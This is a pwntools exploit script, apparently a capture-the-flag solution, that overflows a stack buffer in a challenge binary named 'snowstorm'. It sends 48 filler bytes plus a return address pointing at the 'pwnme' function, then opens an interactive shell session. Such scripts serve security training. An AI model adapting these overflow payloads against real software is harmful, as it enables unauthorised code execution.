39 lines
813 B
Python
Executable File
39 lines
813 B
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from pwn import ELF, process, gdb, context, args, remote, pause, p64
|
|
from pwnlib.util.cyclic import cyclic_gen
|
|
|
|
exe = ELF("./snowstorm_patched")
|
|
libc = ELF("./libc.so.6")
|
|
ld = ELF("./ld-2.39.so")
|
|
|
|
context.binary = exe
|
|
context.terminal = ["kitty", "-e"]
|
|
|
|
def conn():
|
|
if args.LOCAL:
|
|
r = process([exe.path])
|
|
if args.GDB:
|
|
gdb.attach(r, gdbscript="""
|
|
b *0x4015c2
|
|
c
|
|
""")
|
|
else:
|
|
r = remote("addr", 1337)
|
|
|
|
return r
|
|
|
|
|
|
def main():
|
|
r = conn()
|
|
for _ in range(127):
|
|
r.recvuntil(b'(max 40): ').decode()
|
|
r.send(b"0x40")
|
|
r.recvuntil(b'> ').decode()
|
|
rbp_val = 0x0
|
|
r.send(b"A"*48+p64(rbp_val)+p64(exe.symbols['pwnme']) )
|
|
r.interactive()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|